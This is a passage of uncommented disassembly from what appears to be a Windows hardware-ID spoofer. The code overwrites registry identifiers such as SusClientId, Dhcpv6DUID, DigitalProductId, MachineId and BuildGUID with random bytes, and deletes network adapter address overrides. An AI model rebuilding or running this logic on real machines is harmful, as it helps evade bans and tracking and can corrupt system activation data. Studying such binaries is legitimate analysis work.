mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.SusClientId
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003792
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003916
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.SusClientIdValidation
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003823
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.SusClientIdValidation
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x14000390d
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140003844
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x14000390d
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140003873
nop
call fcn.14000a310
and eax, 0x800000ff
jge 0x140003865
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140003850
mov dword [rsp + 0x28], eax
lea rdx, str.SusClientIdValidation
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.SusClientIdValidation
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTcpip6Parameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400039aa
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetServicesTcpip6Parameters
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003b2c
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.Dhcpv6DUID
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003a3b
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.Dhcpv6DUID
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x140003b23
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140003a5c
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x140003b23
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140003a89
call fcn.14000a310
and eax, 0x800000ff
jge 0x140003a7b
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140003a66
mov dword [rsp + 0x28], eax
lea rdx, str.Dhcpv6DUID
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.Dhcpv6DUID
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSystemInformation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140003bba
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlSystemInformation
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003bea
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.ComputerHardwareId
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140005bf0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftInternet_ExplorerMigration
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003c83
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftInternet_ExplorerMigration
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003e06
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.IE_Installed_Date
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140003d14
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.IE_Installed_Date
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x140003dfd
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140003d35
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x140003dfd
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140003d63
nop
call fcn.14000a310
and eax, 0x800000ff
jge 0x140003d55
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140003d40
mov dword [rsp + 0x28], eax
lea rdx, str.IE_Installed_Date
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.IE_Installed_Date
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftSQMClient
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140003e94
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftSQMClient
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140003ec4
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.MachineId
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str.WinSqmFirstSessionStartTime
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftSQMClient
call fcn.140005eb0
lea r8, str.InstallTime
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
call fcn.140005eb0
lea r8, str.InstallDate
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
call fcn.140005eb0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003fa6
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140004128
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.DigitalProductId
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140004037
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.DigitalProductId
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x14000411f
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x140004058
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x14000411f
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x140004085
call fcn.14000a310
and eax, 0x800000ff
jge 0x140004077
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140004062
mov dword [rsp + 0x28], eax
lea rdx, str.DigitalProductId
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.DigitalProductId
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400041bc
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x14000433e
mov rsi, qword [rsp + 0x48]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.DigitalProductId4
mov rcx, rsi
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov dword [rbp - 0x80], r13d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14000424d
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, str.DigitalProductId4
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_query_size_of:__ws_ws_n_n
call fcn.140001010
jmp 0x140004335
mov ecx, dword [rbp - 0x80]
call fcn.14000d5f4
mov rdi, rax
test rax, rax
jne 0x14000426e
lea rcx, str.Failed_to_allocate_buffer_for_SpoofBinary_n_n
call fcn.140001010
jmp 0x140004335
mov eax, dword [rbp - 0x80]
mov ebx, r13d
test eax, eax
je 0x14000429b
call fcn.14000a310
and eax, 0x800000ff
jge 0x14000428d
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov eax, dword [rbp - 0x80]
cmp ebx, eax
jb 0x140004278
mov dword [rsp + 0x28], eax
lea rdx, str.DigitalProductId4
mov r9d, 3
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call fcn.14000d5e0
xor edx, edx
mov dword [rsp + 0x40], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
mov eax, dword [rbp - 0x80]
lea r8, str.DigitalProductId4
mov dword [rsp + 0x28], eax
lea rdx, [0x14002dcf6]
mov r9d, 0xc0
mov dword [rsp + 0x20], 0xc4
lea rcx, str._ws_ws_n_c_c_binary_of_length__d_n_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400043cc
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400043fc
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.BuildGUID
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x14000448a
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400044ba
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.ProductId
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140004548
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140004578
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.BuildLab
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140004606
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140004636
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.BuildLabEx
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400046c4
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400046f4
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str._DriverProviderInfo
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140004782
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400047b2
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x12a0]
call fcn.14001cdb0
lea r8, [rbp + 0x12a0]
mov rcx, rbx
lea rdx, str.UserModeDriverGUID
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x48], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e972_e325_11ce_bfc1_08002be10318
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140004843
lea rcx, [0x14002dcf0]
mov dword [rsp + 0x40], r8d
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlClass4d36e972_e325_11ce_bfc1_08002be10318
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140004a07
mov rbx, qword [rsp + 0x48]
lea rcx, [rbp + 0x440]
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x440]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], r13
mov edi, r13d
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400049fe
lea rdx, str.configuration
lea rcx, [rbp + 0x440]
call fcn.14000a5d8
test eax, eax
je 0x1400049c1
lea rdx, str.properties
lea rcx, [rbp + 0x440]
call fcn.14000a5d8
test eax, eax
je 0x1400049c1
lea r8, str.NetworkAddress
mov rcx, rbx
lea rdx, [rbp + 0x440]
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x1400049ab
xor edx, edx
mov dword [rsp + 0x40], 0x208
lea rcx, [0x14002dcf0]
mov r8d, 0x208
test eax, eax
jne 0x140004960
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x14002df10]
lea r9, str.NetworkAddress
mov dword [rsp + 0x28], 0xc4
lea r8, [rbp + 0x440]
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x14002dcf6]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x1400049ab
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rbx
call qword [0x14002df10]
lea r9, str.NetworkAddress
lea r8, [rbp + 0x440]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_delete_value:__ws_ws_ws_n_n
call fcn.140001010
lea r8, str.NetworkInterfaceInstallTimestamp
mov rcx, rbx
lea rdx, [rbp + 0x440]
call fcn.140005eb0
mov qword [rsp + 0x38], r13
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x440]
inc edi
mov qword [rsp + 0x28], r13
mov edx, edi
mov qword [rsp + 0x20], r13
mov rcx, rbx
mov dword [rsp + 0x58], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140004892
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionDiagnosticsDiagTrackSettingsRequests
mov rcx, 0xffffffff80000002
call fcn.1400064c0
lea r8, str.LastEventlogWrittenTime
mov rcx, 0xffffffff80000002
